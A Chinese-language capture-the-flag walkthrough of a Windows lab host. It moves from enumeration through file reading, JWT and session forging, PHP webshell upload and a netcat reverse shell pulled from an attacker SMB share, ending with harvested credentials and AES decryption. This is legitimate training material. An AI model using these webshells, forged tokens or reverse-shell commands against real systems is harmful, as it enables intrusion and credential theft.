#PasswordReuse #sqlite #session #file_include #SQLInjection #jwt #AES #secure_file_priv

靶机开启后IP为:10.10.10.228

Nmap Scan

TCP协议全部端口

sudo nmap -p- -Pn --min-rate 2000 -v 10.10.10.228 -oA Scan/ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
grep open Scan/ports.nmap | grep -v unknown | cut -d/ -f1 | paste -s -d ','
22,80,135,139,443,445,3306,7680
ports=`grep open Scan/ports.nmap | grep -v unknown | cut -d/ -f1 | paste -s -d ','`

默认脚本扫描开放端口

sudo nmap -sCV -O -p22,80,135,139,443,445,3306,7680 10.10.10.228 -oA Scan/detail
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 9d:d0:b8:81:55:54:ea:0f:89:b1:10:32:33:6a:a7:8f (RSA)
|   256 1f:2e:67:37:1a:b8:91:1d:5c:31:59:c7:c6:df:14:1d (ECDSA)
|_  256 30:9e:5d:12:e3:c6:b7:c6:3b:7e:1e:e7:89:7e:83:e4 (ED25519)
80/tcp   open  http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
|_http-title: Library
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1h PHP/8.0.1)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-title: Library
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
445/tcp  open  microsoft-ds?
3306/tcp open  mysql?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, HTTPOptions, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, X11Probe: 
|_    Host '10.10.16.10' is not allowed to connect to this MariaDB server
7680/tcp open  pando-pub?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3306-TCP:V=7.94SVN%I=7%D=2/1%Time=65BBA1BE%P=x86_64-pc-linux-gnu%r(
SF:HTTPOptions,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(RPC
SF:Check,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNSVersio
SF:nBindReqTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(DNS
SF:StatusRequestTCP,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x
SF:20not\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%
SF:r(Help,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20a
SF:llowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SSLSessi
SF:onReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20al
SF:lowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TerminalS
SF:erverCookie,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not
SF:\x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(TLS
SF:SessionReq,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\
SF:x20allowed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(Kerb
SF:eros,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20all
SF:owed\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(SMBProgNeg
SF:,4A,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed
SF:\x20to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(X11Probe,4A,"F
SF:\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to
SF:\x20connect\x20to\x20this\x20MariaDB\x20server")%r(FourOhFourRequest,4A
SF:,"F\0\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x2
SF:0to\x20connect\x20to\x20this\x20MariaDB\x20server")%r(LPDString,4A,"F\0
SF:\0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x
SF:20connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPSearchReq,4A,"F\0\
SF:0\x01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x2
SF:0connect\x20to\x20this\x20MariaDB\x20server")%r(LDAPBindReq,4A,"F\0\0\x
SF:01\xffj\x04Host\x20'10\.10\.16\.10'\x20is\x20not\x20allowed\x20to\x20co
SF:nnect\x20to\x20this\x20MariaDB\x20server");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 10|Longhorn|2019|2008|11|7|Vista|XP|8.1 (96%)
OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_8.1
Aggressive OS guesses: Microsoft Windows 10 1709 - 1909 (96%), Microsoft Windows Longhorn (95%), Microsoft Windows 10 1709 - 1803 (93%), Microsoft Windows 10 1809 - 2004 (93%), Microsoft Windows Server 2019 (93%), Microsoft Windows 10 1511 (93%), Microsoft Windows 10 1703 (93%), Microsoft Windows Server 2008 R2 (93%), Microsoft Windows 8.1 Update 1 (93%), Microsoft Windows 10 2004 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2024-02-01T13:51:40
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Feb  1 08:51:46 2024 -- 1 IP address (1 host up) scanned in 66.67 seconds

Enum

gobuster dir -t 50 -u http://10.10.10.228 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -r

/books                (Status: 200) [Size: 2462]
/php                  (Status: 200) [Size: 976]
/portal               (Status: 200) [Size: 2508]
/css                  (Status: 200) [Size: 1183]
/includes             (Status: 200) [Size: 1206]
/db                   (Status: 200) [Size: 971]
/js                   (Status: 200) [Size: 1187]

结果中响应为 200 的有很多目录。大概看了一下认为 /portal 最可疑。

  • http://10.10.10.228/portal/login.php

万能密码

admin' or 1=1 # 
admin' or 1=1 # 
  • http://10.10.10.228/php/signup.php

注册一个帐户

admin:admin

Dashboard

登录后首页如下。

image-20240201223041429

role 显示 Awaiting approval 正在等待批准

底部有四个链接,其中第二个点击会弹框,最后一个点击重定向到当前页面

  • http://10.10.10.228/portal/php/issues.php

日志内容。

image-20240201224540419

  • http://10.10.10.228/portal/php/users.php

一些用户名,并且顶部显示 Under construction

image-20240201224528169

  • http://10.10.10.228/portal/php/

image-20240201235949216

  • http://10.10.10.228/portal/php/admins.php

image-20240202000009027

users

取下 users.php 中的用户名列表

cookie 可以 F12 查看网页响应,也可以使用 burp 查看。

curl -vvv -s -b 'PHPSESSID=admin226b28d6baa2d67a9e78e6b022f72735' http://10.10.10.228/portal/php/users.php > users.list

借助 ChatGPT 写一个正则表达式筛选出所有用户列表。

grep -oP '<td scope="row">\K[^<]*' users.list > users
alex' or 1=1 #

尝试爆破,但是失败了。

hydra -L users	-P users 10.10.10.228 http-post-form '/portal/login.php:username=^USER^&password=^PASS^&method=0:Username or Password incorrect'

jwt

打开 burp 查看请求

image-20240201223228922

其中 Cookie 有两部分,一个是 PHPSESSID,一个是 token。

PHPSESSID 是以当前用户名开头。

token 使用 . 号分隔。

token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWRtaW4ifX0.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI

前两段可以解码如下:

{"typ":"JWT","alg":"HS256"}{"data":{"username":"admin"}}

最后一段无法用 base64 解码。解码后的结果有 jwt,第一次遇到这种编码,但是听说过相关利用。

Google jwt exploit

https://github.com/Sjord/jwtcrack

python jwtcrack/jwt2john.py 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWRtaW4ifX0.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI' > admin.jwt.john

john admin.jwt.john -w=/usr/share/wordlists/rockyou.txt

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoiYWxleCJ9fS.YCUOr2QOe8PWaSmn0jKinCN3AmQjuBBREN7cnL7Q5TI

这里有一个问题,token 去掉或者改动不影响响应值,应当是兔子洞。

files

重定向的 files.php 可以使用 burpsuite 查看。

HTTP/1.1 302 Found
Date: Thu, 01 Feb 2024 14:36:33 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/8.0.1
X-Powered-By: PHP/8.0.1
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ../index.php
Content-Length: 3525
Connection: close
Content-Type: text/html; charset=UTF-8

image-20240201224715168

删掉 PHPSESSION,报错显示出了路径。

image-20240202104903742

没用

扫描 portal 下的目录。

gobuster dir -t 100 -u http://10.10.10.228/portal/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt --follow-redirect --add-slash --expanded
http://10.10.10.228/portal/uploads/             (Status: 200) [Size: 795]
http://10.10.10.228/portal/php/                 (Status: 200) [Size: 1629]
http://10.10.10.228/portal/assets/              (Status: 200) [Size: 1418]
http://10.10.10.228/portal/includes/            (Status: 200) [Size: 1668]
http://10.10.10.228/portal/db/                  (Status: 200) [Size: 992]
http://10.10.10.228/portal/vendor/              (Status: 200) [Size: 1861]

逐一查看,其中有一些兔子洞,但是在 js 文件里发现了线索。兔子洞过程省略不记。

sensitive file

细节可以放到 ChatGPT 理解

files.js

http://10.10.10.228/portal/assets/js/files.js

$(document).ready(function(){
    $("#upload").click(function(){
        var formData = new FormData();
        formData.append('file', $('#file')[0].files[0]);
        formData.append('task', $('#task').val() + ".zip");
        post(formData);
        formData = null;
    })
});


function post(formData){
    jQuery.ajax({
        url: "../includes/fileController.php",
        type: "POST",
        processData: false,
        contentType: false,
        data: formData,
        success: function(res){
            $("#message").html(res);
        }
    });
}

从 post 函数可以看到向 ../includes/fileController.php 发起 post 请求,请求数据是 formData

image-20240202145044897

Insufficient privileges. Contact admin or developer to upload code. Note: If you recently registered, please wait for one of our admins to approve it.

权限不足。 联系管理员或开发人员上传代码。 注意:如果您最近注册,请等待我们的一位管理员批准。

books.js

http://10.10.10.228/js/books.js

$(document).ready(function(){
    var book = null;
    $("#note").click(function(){
        $("#tableBody").html("");
        const title = $("#title").val();
        const author = $("#author").val();
        if(title == "" && author == ""){
            $("#message").html("Nothing found :(");
        }
        else{
            searchBooks(title, author);
        }
    })

    $("#interested").click(function(){

    });
});

function getInfo(e){
    const bookId = "book" + $(e).closest('tr').attr('id') + ".html";
    jQuery.ajax({
        url: "../includes/bookController.php",
        type: "POST",
        data: {
            book: bookId,
            method: 1,
        },
        dataType: "json",
        success: function(res){
            $("#about").html(res);
        }
    });
}

function modal(){
    return '<button type="button" onclick="getInfo(this)" class="btn btn-outline-warning" data-toggle="modal" data-target="#actionModal">Book</button>';
}

function searchBooks(title, author){
    jQuery.ajax({
        url: "../includes/bookController.php",
        type: "POST",
        data: {
            title: title,
            author: author,
            method: 0,
        },
        dataType: "json",
        success: function(res){
            if(res.length == 0 || res == false){
                $("#message").html("Nothing found :(");
            }
            else{
                let ret = "";
                for(book in res){
                    $("#message").html("");
                    ret += "<tr id='" + res[book].id + "'>";
                    ret += "<td>"+res[book].title+"</td>";
                    ret += "<td>"+res[book].author+"</td>";
                    ret += "<td>" + modal() + "</td>";
                    ret += "</tr>";
                    $("#tableBody").html(ret)
                }
            }
        }
    });
}

book.js 里有两个函数,getInfosearchBooks 分别对 "../includes/bookController.php""../includes/bookController.php" 发起 post 请求。

这里在 burp 中测试,有无 cookie 并不影响结果,同时从报错中可以看到路径信息。

观察 method=0 时会向数据库查询

curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'title=&author=a&method=0'
[{"id":3,"title":"Adventures of Tom Sawyer","author":"Mark Twain"},{"id":8,"title":"Ben Hur","author":"Lewis Wallace\t"},{"id":9,"title":"Baburnama","author":"Babur"},{"id":10,"title":"Arthashastra","author":"Kautilya"},{"id":11,"title":"Anand Math","author":"Bankimchandra Chattopadhyay\t"},{"id":12,"title":"Alice's Adventures in Wonderland","author":" Lewis Carrol"},{"id":14,"title":"Pride and Prejudice","author":"Jane Austen"}]

file_get_contents

method=1 时,报错可以看到文件读取函数

curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'title=db.php&author=a&method=1'
<b>Warning</b>:  file_get_contents(../books/db.php): Failed to open stream: No such file or directory in <b>C:\Users\www-data\Desktop\xampp\htdocs\includes\bookController.php</b> on line <b>28</b><br />
false 
curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'book=../db/db.php&title=&author=a&method=1'
"<?php\r\n\r\n$host=\"localhost\";\r\n$port=3306;\r\n$user=\"bread\";\r\n$password=\"jUli901\";\r\n$dbname=\"bread\";\r\n\r\n$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());\r\n?>\r\n"
bread:jUli901

MySQL 无法远程连接,现在的思路是读取 PHP 文件,寻找可以利用的内容,但是找到的大部分 SQL语句都是预编译,无法注入。

Python Script

curl 'http://10.10.10.228/includes/bookController.php' -X POST -d 'book=../includes/bookController.php&title=&author=a&method=1'

bookController.php 源码可以看到最后使用 json_encode 输出结果,所以可以将 json字符串 转化为 PHP 代码更方便观看。

echo json_encode($out)

写一个 python 脚本做简单的转换。

with open('bookController.php.json', 'r') as f:
    data = json.load(f)

借助 ChatGPT 写一个 python 脚本,但是得到的结果需要修改。

#!/usr/bin/env python

import requests
import sys
import json
import os

url = "http://10.10.10.228/includes/bookController.php"

# read path from command line
if len(sys.argv) < 2:
    print("Usage: python get_contents.py path")
    sys.exit(1)

path = sys.argv[1]
# os.path.basename get filename
filename = os.path.basename(path)

data = {
        'book' : path,
        'title' : '',
        'author' : '',
        'method' : 1,
        }

response = requests.post(url, data=data)

# check status code
if response.status_code == 200:
    try:
        json_data = json.loads(response.text)
        with open(filename, 'w') as file:
            file.write(json_data)

    except json.JSONDecodeError as e:
        print(f"Error decoding JSON: {e}")

else:
    print(f"Request failed with status code {response.status_code}")

将一部分源码下载到本地查看。

python get_contents.py '../portal/login.php'

fake

token

fileController.php 文件可以上传文件,并且透露了 secret_key,这样就可以伪造 jwt。

if(in_array($user, $admins) && $_SESSION['username'] == "paul")
$secret_key = '6cb9c1a2786a483ca5e44571dcc5f3bfa298593a6376ad92185c3258acd5591e'

https://jwt.io/

paul:token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

但是同时还验证 $_SESSION['username'],这个该怎么伪造。

第一想法直接改变 cookie 中 PHPSESSID 的值,因为是以当前用户名 admin 开头,但是没有效果,思路卡在这里。查看提示还是伪造 cookie,仔细查看认证有关的文件。

首先 cookie 是在登录时产生。

  • login.php
require_once 'authController.php'; 
  • authController.php
require 'db/db.php';
require "cookie.php";
require "vendor/autoload.php";
use \Firebase\JWT\JWT;

这里发现了之前未曾注意到的文件 cookie.php。makesession 函数返回值 $session_cookie,也就是

function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

文件尾部添加如下代码,生成 paul 的 session。

echo makesession('paul');
php -f cookie.php

paul47200b180ccd6835d25d034eeb6e6390

upload file

paul47200b180ccd6835d25d034eeb6e6390

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

burp 抓包修改 cookie。

在上传文件这里遇到了报错,应该是传参问题

image-20240203002619126

本地搭建环境,上传抓包对比,name 后需要添加 filename。

Content-Disposition: form-data; name="file";filename="test.txt"

添加之后上传成功。

curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=@users;Type=text/plain" -F "task=users" -x "127.0.0.1:8080"

成功上传。

curl http://10.10.10.228/portal/uploads/users

不带 @ 符,在 burp 里看就是没有 filename

image-20240203003246735

image-20240203003408134

或者手动添加 filename

curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=users.list;filename=users.txt;Type=text/plain" -F "task=users" -x "127.0.0.1:8080"
echo '<?php eval($_REQUEST[cmd]); ?>' > eval.php
curl -b 'PHPSESSID=paul47200b180ccd6835d25d034eeb6e6390; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU' http://10.10.10.228/portal/includes/fileController.php -X POST -F "file=@eval;filename=eval.php" -F "task=eval.php" -x "127.0.0.1:8080"

报错如下:

<br />
<b>Warning</b>:  move_uploaded_file(C:\Users\www-data\Desktop\xampp\tmp\php8169.tmp): Failed to open stream: Invalid argument in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>25</b><br />
<br />
<b>Warning</b>:  move_uploaded_file(): Unable to move &quot;C:\Users\www-data\Desktop\xampp\tmp\php8169.tmp&quot; to &quot;../uploads/eval&quot; in <b>C:\Users\www-data\Desktop\xampp\htdocs\portal\includes\fileController.php</b> on line <b>25</b><br />
Missing file or title :(

会将 .php 后缀过滤掉。

似乎存在某种检测机制,查看 PHP 文档 本函数检查并确保由 from 指定的文件是合法的上传文件,但是源码中并没有看到如何检查。

这种情况我的思路是,首先上传一个普通的 PHP 文件是否可以成功上传并解析。这里直接使用 burp 的 repeater 模块。

# test.php success
<?php echo '123'; ?>
# info.php success
<?php phpinfo(); ?>

正常 PHP 文件是可以上传的,可能是对文件内容有检查,那就更换其他函数,例如:

# system.php
<?php echo `$_GET[cmd]`; ?>
# or echo.php
<?=`$_GET[cmd]`; 
# or shell.php PHP 8版本要给参数添加引号,否则报错
<?php echo shell_exec($_REQUEST['cmd']); ?>
curl http://10.10.10.228/portal/uploads/shell.php?cmd=whoami
breadcrumbs\www-data

curl http://10.10.10.228/portal/uploads/system.php -X GET -G --data-urlencode 'cmd=whoami'

reverse shell

在有 nc 的文件夹搭建 SMB 服务器。

impacket-smbserver share `pwd` -smb2support
curl 'http://10.10.10.228/portal/uploads/shell.php?cmd=\\10.10.16.10\share\nc64.exe%20-e%20powershell%2010.10.16.10%201234'

Lateral Movenment

reuse

基本枚举

枚举当前 web 目录,有一个之前没有扫到的目录

  • C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData

image-20240203135137024

type pizzaDeliveryUserData\juliette.json
{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}

得到 juliette 用户的凭据,正常当前机器中有同名用户,可以尝试密码复用。

juliette:jUli901./())!

另外在桌面下发现另一个文件夹

dir

    Directory: C:\Users\www-data\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          2/8/2021  11:41 PM                usefull_cookies
d-----          2/8/2021   5:53 AM                xampp
-a----          2/8/2021  11:38 PM            146 cookiesrunner.bat
-a----          2/8/2021   5:14 AM           1450 Microsoft Edge.lnk


PS C:\Users\www-data\Desktop> type cookiesrunner.bat
type cookiesrunner.bat
@echo off

del C:\Users\www-data\Desktop\usefull_cookies\*
copy C:\Users\www-data\Desktop\usefull_cookies\* C:\Users\www-data\Desktop\xampp\tmp

C:\Users\www-data\Desktop\xampp\tmp 保存了三个用户的 session

type usefull_cookies\sess_oliviaaa0aa8b0e94759562a5854d69b9e6b79
username|s:6:"olivia";loggedIn|b:1;role|s:12:"Data Analyst";

type .\xampp\tmp\sess_john5815c66675415230039fb4616cd0dce8
username|s:4:"john";loggedIn|b:1;role|s:10:"Ad Manager";

type .\xampp\tmp\sess_paul47200b180ccd6835d25d034eeb6e6390
username|s:4:"paul";loggedIn|b:1;role|s:5:"Admin";
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

www-data:QNxH2vi01X
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no www-data@10.10.10.228

juliette

juliette:jUli901./())!
ssh -oUserKnownHostsFile=/dev/null -oStrictHostKeyChecking=no juliette@10.10.10.228
type desktop\todo.html
    <tr>
        <th>Task</th>
        <th>Status</th>
        <th>Reason</th>
    </tr>
    <tr>
        <td>Configure firewall for port 22 and 445</td>
        <td>Not started</td>
        <td>Unauthorized access might be possible</td>
    </tr>
    <tr>
        <td>Migrate passwords from the Microsoft Store Sticky Notes application to our new password manager</td>
        <td>In progress</td>
        <td>It stores passwords in plain text</td>
    </tr>
    <tr>
        <td>Add new features to password manager</td>
        <td>Not started</td>
        <td>To get promoted, hopefully lol</td>
    </tr>

这个文件 将密码从 Microsoft Store Sticky Notes 应用程序迁移到我们新的密码管理器。所以在 Microsoft Store Sticky Notes application 可能存储明文密码。

mysql

cd 'C:\Program Files\MariaDB 10.5\bin\'

C:\Program Files\MariaDB 10.5\bin> .\mysql.exe -ubread -pjUli901
select username,password from users;
+----------+------------------------------------------+
| username | password                                 |
+----------+------------------------------------------+
| alex     | aa785ebd1c22e59a45d4c0a0bf25440d71311ad4 |
| paul     | 5cbb728b7918da26cd6cfc81da0f238c18fdfbbc |
| jack     | d7aeccd316c750c8e9a57e21cf1d14a217baee26 |
| olivia   | 271a4154dab37b715f345744711fe1bf3c306314 |
| john     | 235d025c97e9b197bc91e2a0fe563730cc74d7f8 |
| emma     | 1683acbe1f90c2ce0a28ff8e47e4a251e27cb170 |
| william  | 4eb4604d36b0b91bf06b0636c343e7922af851e8 |
| lucas    | f95d1374fc3a035b36b3bf5ee9eef6f5a780ac05 |
| sirine   | 4b0d635e1e866b9e4470936001f21588a09c4e25 |
| juliette | b59dbf31e8402d4b9c92c92d87b6e36c32ac5c3b |
| support  | 4ff6d75568c0bac72baeb47fa5f00dd71cca7baa |
+----------+------------------------------------------+

未成功解密。

$Recycle.Bin

powershell 历史记录

type C:\Users\juliette\AppData\Roaming\Microsoft\windows\powershell\PSReadLine\ConsoleHost_history.txt

Get-ChildItem -Path 'C:\$Recycle.Bin'
...
Get-ChildItem -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002' -force

    Directory: C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         1/15/2021   4:09 PM            254 $I9ZH4MP.sqlite-wal
-a----         1/15/2021   4:03 PM             96 $IBGOEIZ.zip
-a----         1/15/2021   4:01 PM            118 $IG9AT1W.lnk
-a----         1/15/2021   4:09 PM            246 $IRSGC8J.sqlite
-a----         1/15/2021   4:09 PM            254 $IVE1WU1.sqlite-shm
-a----         1/15/2021   4:09 PM         119512 $R9ZH4MP.sqlite-wal
-a----         1/15/2021   4:03 PM        2842742 $RBGOEIZ.zip
-a----         1/15/2021   4:00 PM           1450 $RG9AT1W.lnk
-a----         1/15/2021   4:08 PM           4096 $RRSGC8J.sqlite
-a----         1/15/2021   4:08 PM          32768 $RVE1WU1.sqlite-shm
-a-hs-         1/15/2021   4:00 PM            129 desktop.ini
type -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002\desktop.ini'

Compress-Archive -Path 'C:\$Recycle.Bin\S-1-5-21-3217272714-4136315898-3467882831-1002' -DestinationPath  C:\programdata\Recycle.zip

下载到本地解压,大概浏览了以下主要是 $RBGOEIZ.zip 文件。

unzip '$RBGOEIZ.zip'

首先根据关键词搜索密码

grep -rni 'password' .

image-20240203151720347

目录名是 passwordManager,之前 todo.html 的内容就与之相关,查看细节。

$user="passwordM";
$password="hWjSh812jDn1asd./213-91!#(";
cat passwordManager/htdocs/index.php
<?php

$host="localhost";
$port=3306;
$user="passwordM";
$password="hWjSh812jDn1asd./213-91!#(";
$dbname="bread";
$method = "";
$con = new mysqli($host, $user, $password, $dbname, $port) or die ('Could not connect to the database server' . mysqli_connect_error());
if(isset($_REQUEST['method'])){
        $method = $_REQUEST['method'];
}
echo $method;
if($method == "select"){
        $sql = "SELECT aes_key FROM ".$_REQUEST['table']." WHERE account='".$_REQUEST['username']."'";
        $results = $con->query($sql);

        echo var_dump(mysqli_fetch_all($results,MYSQLI_ASSOC));
}

else{
        echo "Bad Request";
}

passwordManager

用上面的凭据连接数据库。

C:\Program Files\MariaDB 10.5\bin> .\mysql.exe -upasswordM -p'hWjSh812jDn1asd./213-91!#('
MariaDB [(none)]> select user();
+---------------------+
| user()              |
+---------------------+
| passwordM@localhost |
+---------------------+
1 row in set (0.002 sec)
MariaDB [(none)]> show databases;                                             
+--------------------+   
| Database           |   
+--------------------+   
| bread              |   
| information_schema |   
+--------------------+   
2 rows in set (0.001 sec)
MariaDB [(none)]> use bread
Database changed
MariaDB [bread]> show tables;
+-----------------+
| Tables_in_bread |
+-----------------+
| passwords       |
+-----------------+
1 row in set (0.001 sec)

MariaDB [bread]> select * from passwords;
+----+---------------+----------------------------------------------+------------------+
| id | account       | password                                     | aes_key          |
+----+---------------+----------------------------------------------+------------------+
|  1 | Administrator | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= | k19D193j.<19391( |
+----+---------------+----------------------------------------------+------------------+
1 row in set (0.016 sec)

如何解密。

localstate 有一些文件,查看内容有 development 用户的密码。

strings localstate/plum.sqlite*


development:fN3)sN5Ee@g
juliette: jUli901./())!

解压出来的文件还有 Development/Krypter_Linux,执行提示。但是后面加上 aes_key 还是提示 Incorrect master key

Krypter V1.2

New project by Juliette.
New features added weekly!
What to expect next update:
        - Windows version with GUI support
        - Get password from cloud and AUTOMATICALLY decrypt!
***

No key supplied.
USAGE:

Krypter <key>
strings Development/Krypter_Linux
Requesting decryption key from cloud...
Account: Administrator
http://passmanager.htb:1234/index.php
method=select&username=administrator&table=passwords

image-20240203161226486

Decrypt

最后看 WP,才发现想多了可以直接 AES 解密。

+----+---------------+----------------------------------------------+------------------+
| id | account       | password                                     | aes_key          |
+----+---------------+----------------------------------------------+------------------+
|  1 | Administrator | H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw= | k19D193j.<19391( |
+----+---------------+----------------------------------------------+------------------+
administrator:p@ssw0rd!@#$9890./

https://cyberchef.org/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'Latin1','string':'k19D193j.%3C19391('%7D,%7B'option':'Hex','string':'0000000000000000000000000000000'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&input=SDJkRnovak53dFNUV0RVUm90OUpCaFdNUDZYT2RtY3BncXZZSEczNVFLdz0

image-20240203202012590

https://www.devglan.com/online-tools/aes-encryption-decryption

